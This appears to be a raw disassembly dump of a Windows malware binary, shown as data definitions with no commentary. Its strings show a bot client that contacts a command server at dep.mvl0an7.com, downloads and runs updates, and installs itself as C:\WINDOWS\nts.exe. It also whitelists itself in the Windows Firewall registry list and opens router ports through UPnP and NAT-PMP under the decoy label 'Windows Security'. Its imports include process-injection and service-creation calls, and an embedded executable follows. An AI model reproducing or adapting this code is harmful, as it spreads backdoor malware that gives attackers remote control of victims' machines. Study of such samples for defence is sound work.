aSystem_0 db 'SYSTEM',0 db 0Dh,' ',0Dh,0 aISecondsLeft_0 db 0Dh,'%i seconds left ',8,8,8,'.',0 aSrvWaitingIS_0 db 'Srv: waiting %i seconds...',0Ah,0 aSrvcommthrea_0 db 'SrvCommThread: done',0Ah,0 aSrvStartingUpd db 'SRV: starting updater...',0Ah,0 aSrvUpgradeS db 'SRV: UPGRADE <%s>',0Ah,0 aSrvIplist db 'SRV: IPLIST',0Ah,0 aSrvBye db 'SRV: BYE',0Ah,0 aSrvAckReject_1 db 'SRV: ACK rejected IPs failed',0Ah,0 aSrvAckReject_2 db 'SRV: ACK rejected IPs',0Ah,0 aSrvSendingRe_0 db 'SRV: sending rejected IPs failed',0Ah,0 aSrvSendingRe_1 db '* SRV: sending rejected IPs',0Ah,0 aSrvAckHandsh_0 db 'SRV: ACK handshacking failed',0Ah,0 aSrvAckHandsh_1 db 'SRV: ACK handshacking',0Ah,0 aSrvHandshaki_1 db 'SRV: handshaking failed.',0Ah,0 aSrvRip?I_0 db 'SRV: rip? %i',0Ah,0 aSrvHandshaki_2 db 'SRV: handshaking...',0Ah,0 aSrvConnectin_0 db 'SRV: connecting failed.',0Ah,0 aSrvConnectin_1 db 'SRV: connecting...',0Ah,0 aSrvSI_0 db 'SRV: [%s:%i]',0Ah,0 aMyPortI_0 db 'my port [%i]',0Ah,0 aDep_mvl0an7__0 db 'dep.mvl0an7.com',0 aAuthorizedIp_0 db 'authorized IP #%i [%s]',0Ah,0 aRunningSS____0 db 'running %s (%s)...',0Dh,0Ah,0 db '" "',0 aUpdate_2 db '*update "',0 aMsssx_0 db 'msssx',0 aDownloadedTo_0 db 'downloaded to: <%s>',0Ah,0 aMsss_0 db 'msss',0 aUpdateUrlS_0 db 'UPDATE URL: <%s>',0Ah,0 aDownloadedSS_0 db 'downloaded [%s] --> %s',0Dh,0Ah,0 aDownloadedFa_0 db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 aDownloadingS_0 db 'downloading [%s] --> %s',0Dh,0Ah,0 aFopenS____0 db 'fopen(%s)...',0Ah,0 aWb_2 db 'wb',0 aInternetopen_1 db 'InternetOpenUrl(): %i',0Ah,0 aInternetopen_2 db 'InternetOpen(): %i',0Ah,0 aMsdownloader_0 db 'msdownloader',0 db ' ',0 aCWindowsNts__0 db 'C:\WINDOWS\nts.exe',0 db '"',0 a_win32__nts__1 db '_win32__nts_sm__',0 a__win32__nts_0 db '__win32__nts_sdm__',0 aNatPmpReques_2 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 aNatPmpFwdReq_0 db 'NAT-PMP fwd request #%i - ok',0Ah,0 aReceivingNat_1 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 aSetsockoptNa_1 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 aSendingNatPm_0 db 'sending NAT-PMP fwd request #%i...',0Ah,0 aRouterIpS_0 db 'router ip: [%s]',0Ah,0 aNatPmpReques_3 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 aNatPmpReques_4 db 'NAT-PMP request #%i - ok',0Ah,0 aReceivingNat_2 db 'receiving NAT-PMP request #%i...',0Ah,0 aSetsockoptNa_2 db 'setsockopt NAT-PMP request #%i...',0Ah,0 aSendingNatPm_1 db 'sending NAT-PMP request #%i...',0Ah,0 aDefaultGatew_0 db 'default gateway: [%s]',0Ah,0 aIupnpDiscove_5 db 'IUPnP discovery request #%i: ok.',0Ah,0 aControlurl_0 db '<controlURL>',0 aService_1 db '</service>',0 aService_2 db '<service>',0 aUrnSchemasUp_0 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscove_6 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 aLocationS_0 db 'location: <%s>',0Ah,0 aIupnpDiscove_7 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 aIupnpDiscove_8 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 aLocation_0 db 'location',0 aIupnpDiscove_9 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 aSchemasUpnpO_0 db 'schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscov_10 db 'IUPnP discovery request #%i -- checking...',0Ah,0 aReceivingIup_0 db 'receiving IUPnP discovery request #%i...',0Ah,0 aSetsockoptIu_0 db 'setsockopt IUPnP discovery request #%i...',0Ah,0 aMSearchHttp1_0 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnp_0 db 'sending IUPnP discovery request #%i...',0Ah,0 aXbind____0 db 'xbind...',0Ah,0 aShit_0 db 'shit!',0Ah,0 a239_255_255__0 db '239.255.255.250',0 aHttpAddmapRe_2 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 aHttpAddmapRe_3 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 aHttpAddmapRe_4 db 'HTTP AddMap request: [%s:%i]...',0Ah,0 aPostSHttp1_1_0 db 'POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1__0 db 'M-POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXml_0 db '<s:Envelope',0Dh,0Ah db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200_0 db '200',0 db 0Ah,0 aHttpDiscover_1 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 aGetSHttp1_1H_0 db 'GET %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 0Dh,0Ah,0 aHttpDiscover_2 db 'HTTP discovery request: [%s:%i]...',0Ah,0 aHttp_0 db 'http://',0 a__0 db '.',0 a6ea9b038C801_2 db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aNts_0 db 'NTS',0 aEnabled_0 db ':*:Enabled:',0 aHandshakeBad_0 db 'Handshake: bad version (%i)',0Ah,0 aHandshakeBad_1 db 'Handshake: bad packed (%i)',0Ah,0 aHandshakeRec_0 db 'Handshake: recv() error',0Ah,0 aProtorecvDat_0 db 'protorecv(): data size: %i (of %i)',0Ah,0 aPktrecvPacke_0 db 'PktRecv(): packetId: 0x%03x',0Ah,0 aPktrecvInval_0 db 'PktRecv(): invalid signature (%i)',0Ah,0 aPktsendIIByt_0 db 'PktSend(%i): %i bytes',0Ah,0 aSIsS_0 db '%s is %s',0Ah,0 aWinsock2_xIn_0 db 'WinSock 2.x initialized.',0Ah,0 aWinsock1_1In_0 db 'WinSock 1.1 initialized.',0Ah,0 aA_0 db 'a',0 aPm_0 db 'PM',0 aAm_0 db 'AM',0 a02i02i02iIII_0 db '%02i/%02i/%02i %i:%i:%i%s',0 aS_3 db '%s',0 dd 0FFFFFF00h, 0FFh, 40715A00h, 0FFFFFF00h, 0FFh, 40735B00h dd 0FFFFFF00h, 0FFh, 40745E00h, 0FFFFFF00h, 0FFh, 4075AD00h dd 0FFFFFF00h, 4078C8FFh, 4078E300h, 0FFFFFF00h, 0FFh dd 407A5D00h, 0FFFFFF00h, 407B85FFh, 407BA000h, 400000h dd 0FFFFFF00h, 0FFh, 4081FE00h, 40832C00h, 4082E200h, 2 dup(40831200h) dd 5 dup(4082E200h), 40831F00h, 4082E200h, 2 dup(4082F200h) dd 40836000h, 40831200h, 40833900h, 3 dup(40830200h), 4082E200h dd 40835300h, 3 dup(4082E200h), 4082F200h, 40831200h, 40838700h dd 4082F200h, 10h dup(40831200h), 4082E200h, 40831200h dd 10h dup(4082E200h), 4082F200h, 0Bh dup(4082E200h), 40831200h dd 4082E200h, 4082F200h, 40831200h, 40837A00h, 2 dup(4082E200h) dd 40836D00h, 4082E200h, 40833900h, 2 dup(40834600h), 40833900h dd 4082E200h, 40831200h, 40832C00h, 4 dup(4082E200h), 0Fh dup(40835300h) dd 3 dup(4082E200h), 4082F200h, 8 dup(4082E200h), 40831F00h dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0 dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h dd 0 dd 0FFFFFF00h, 0FFh, 14h dup(0) dd 10001002h, 3 dup(10001000h), 30013000h, 30003000h, 10003000h dd 8 dup(10001000h), 40001000h, 7 dup(80008000h), 3008000h dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h) dd 0Ah dup(8000800h), 3 dup(80008000h), 3 dup(6000600h) dd 0Ah dup(4000400h), 2 dup(80008000h), 1000h, 40h dup(0) dd 40A00700h, 3 dup(40A33700h), 4 dup(40A00700h), 40A33700h dd 409C8C00h, 409CFB00h, 3 dup(40A00700h), 40A33700h, 409CFB00h dd 4 dup(40A33700h), 40A0C900h, 409E9300h, 40A20100h, 2 dup(40A33700h) dd 40A25F00h, 40A33700h, 409E9300h, 2 dup(40A33700h), 409E9300h dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h dd 7 dup(30303030h), 3030h, 2 dup(0) dd 100h, 200h, 0 dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h, 0A2E0A1E0h dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h dd 0 dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h dd 35343332h, 39383736h, 44434241h, 4645h, 0 dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh dd 75h, 97D78400h, 41h, 0F0000000h, 3Fh, 0 dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh dd 4E00666Eh, 6E004E41h, 6E61h, 40BD4800h, 40BD6300h, 40BD3F00h dd 40BD6300h, 40BD2A00h, 40BD6300h, 40BD3600h, 2 dup(40BD6300h) dd 40BD5100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0) dd 3000h, 2E0000h, 23h dup(0) dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0) dd 5000h, 0Dh dup(0) dd 800h, 1000h, 2000h, 4000h, 8000h, 10000h, 20000h, 40000h dd 2 dup(0) dd 93052000h, 19h, 2 dup(0) dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0) dd 100h, 0 dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0) dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h) dd 41130000h, 0Ah dup(0) dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h) dd 41136C00h, 41134C00h, 0Ah dup(0) dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0) dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h, 4C0h, 8D00h dd 8C0h, 8E00h, 8C0h, 8F00h, 8C0h, 9000h, 8C0h, 9100h dd 8C0h, 9200h, 8C0h, 9300h, 8C0h, 7 dup(0) dd 40000h, 2Ch dup(0) dd 40FB3400h, 40FB4200h, 0 dd 300h, 40FE1E00h, 0Fh dup(0) dd 40FE1E00h, 0Fh dup(0) dd 40FE1E00h, 0Fh dup(0) dd 40FE1E00h, 0Fh dup(0) dd 7 dup(4101A400h), 7F7F7F00h, 2 dup(7F7F7F7Fh), 7F7F7Fh dd 4101A500h, 2 dup(4101A400h), 0 dd 0F0000000h, 7Fh, 0F8000000h, 7Fh, 90000000h, 3Ch, 40000000h dd 3Eh, 32000000h, 40h, 0 dd 11A8400h, 2 dup(0) dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0) dd 124B200h, 11E2400h, 11C4800h, 2 dup(0) dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0) dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0) dd 1259800h, 11EF000h, 5 dup(0) dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h dd 127BA00h, 127CC00h, 127D800h, 0 dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h dd 0 dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h dd 1252800h, 0 dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0 dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h dd 127BA00h, 127CC00h, 127D800h, 0 dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h dd 0 dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h dd 1252800h, 0 dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0 db 0 db 2 dup(0), 47h aEttickcount db 'etTickCount',0 db 0 db 2 dup(0), 49h aNitializecriti db 'nitializeCriticalSection',0 db 2 dup(0), 45h aNtercriticalse db 'nterCriticalSection',0 db 0 db 2 dup(0), 4Ch aEavecriticalse db 'eaveCriticalSection',0 db 0 db 2 dup(0), 47h aEtstdhandle db 'etStdHandle',0 db 0 db 2 dup(0), 47h aEtlocaltime db 'etLocalTime',0 db 0 db 2 dup(0), 47h aEtmodulefilena db 'etModuleFileNameA',0 align 4 db 0 aLocalalloc_0 db 'LocalAlloc',0 db 0 db 2 dup(0), 43h aReatefilemappi db 'reateFileMappingA',0 align 4 db 0 aGetlasterror_2 db 'GetLastError',0 align 4 db 0 aMapviewoffil_0 db 'MapViewOfFile',0 align 4 db 0 aUnmapviewoff_0 db 'UnmapViewOfFile',0 db 2 dup(0), 4Fh aPenfilemapping db 'penFileMappingA',0 dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h dd 65636F72h, 7373h, 69615700h, 726F4674h, 676E6953h, 624F656Ch dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh dd 4165h, 7A695300h, 52666F65h, 756F7365h, 656372h, 4C000000h dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh dd 41h, 74654700h, 636F7250h, 72646441h, 737365h, 57000000h dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h dd 506E6570h, 65636F72h, 7373h, 74654700h, 74697845h, 65646F43h dd 65726854h, 6461h, 65724300h, 54657461h, 686C6F6Fh, 33706C65h dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h dd 65746165h, 4579654Bh, 4178h, 67655200h, 56746553h, 65756C61h dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h dd 6E65704Fh, 4579654Bh, 4178h, 67655200h, 656C6544h, 654B6574h dd 4179h, 696E4900h, 6C616974h, 53657A69h, 72756365h, 44797469h dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h dd 656D614Eh, 41h, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 4F000000h, 536E6570h, 69767265h, 416563h, 43000000h dd 65736F6Ch, 76726553h, 48656369h, 6C646E61h, 65h, 65755100h dd 65537972h, 63697672h, 61745365h, 737574h, 43000000h dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 416769h dd 43000000h, 676E6168h, 72655365h, 65636976h, 666E6F43h dd 41326769h, 53000000h, 74726174h, 76726553h, 41656369h dd 43000000h, 74616572h, 72655365h, 65636976h, 41h, 6C654400h dd 53657465h, 69767265h, 6563h, 67655200h, 72657551h, 6C615679h dd 78456575h, 41h, 74655300h, 76726553h, 53656369h, 75746174h dd 73h, 67655200h, 65747369h, 72655372h, 65636976h, 6C727443h dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h, 0F00h dd 1000h, 1300h, 0A00h, 3400h, 600h, 3900h, 0B00h, 1400h dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h dd 416Eh, 746E4900h, 656E7265h, 65704F74h, 6C72556Eh, 41h dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h dd 6575h, 65724300h, 54657461h, 61657268h, 64h, 73655200h dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h dd 69776E55h, 646Eh, 61654800h, 65724370h, 657461h, 48000000h dd 44706165h, 72747365h, 796Fh, 61654800h, 6C6C4170h, 636Fh dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h dd 6C694665h, 4165h, 736C5400h, 6F6C6C41h, 63h, 74654700h dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h dd 7246736Ch, 6565h, 736C5400h, 56746547h, 65756C61h, 55000000h dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h dd 69467341h, 6954656Ch, 656Dh, 74654700h, 656C6946h, 65707954h dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h dd 4173h, 72695600h, 6C617574h, 6F6C6C41h, 63h, 72695600h dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h dd 6E457465h, 46664F64h, 656C69h, 7 dup(0) dd 501C800h, 47h, 1000000h, 0A00h, 1800h, 80h, 501C800h dd 47h, 1000000h, 1F4100h, 3000h, 80h, 501C800h, 47h, 1000000h dd 41900h, 4800h, 1405800h, 1607800h, 2 dup(0) dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0 dd 1A004000h, 8 dup(0) dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh, 9021CD4Ch, 69685490h dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h dup(0) dd offset dword_455000 dd 3014C00h, 3 dup(0) dd 8E00E000h, 10BA1h, 3 dup(0) dd 46B7A00h, 100000h, 2 dup(0) dd 100010h, 20000h, 2 dup(0) dd 400h, 0 dd 4800000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 4703800h, 2800h, 6 dup(0) dd 4706000h, 1000h, 14h dup(0) dd 4E4D4400h, 30h, 3000000h, 100000h, 5 dup(0) dd 6000h, 4E4D44C0h, 31h, 15BA300h, 3100000h, 15C0000h dd 40000h, 3 dup(0) dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1600000h dd 3 dup(0) dd 6000h, 0C0h, 63h dup(0) dd 0BFFC1800h, 88BDFFB7h, 0E9BFD267h, 71A8A055h, 4E30D46Ah dd 0F278A288h, 6ECE3829h, 0CBC43273h, 0A05EEE4Ch, 8DC417EFh dd 943DF855h, 0D3572A8Bh, 0DEFDBFF1h, 4EA7D312h, 6C1442DCh dd 0CCCBD282h, 5DA14CD0h, 187289E5h, 9A1B586Eh, 0B96CF766h dd 12F23F75h, 0C13EF681h, 0B1509B9Ch, 5513FD5Fh, 8C1B8CC2h dd 0D0A3B6A7h, 341060C7h, 51A42F68h, 0D5F10D3Fh, 0F4B323E0h 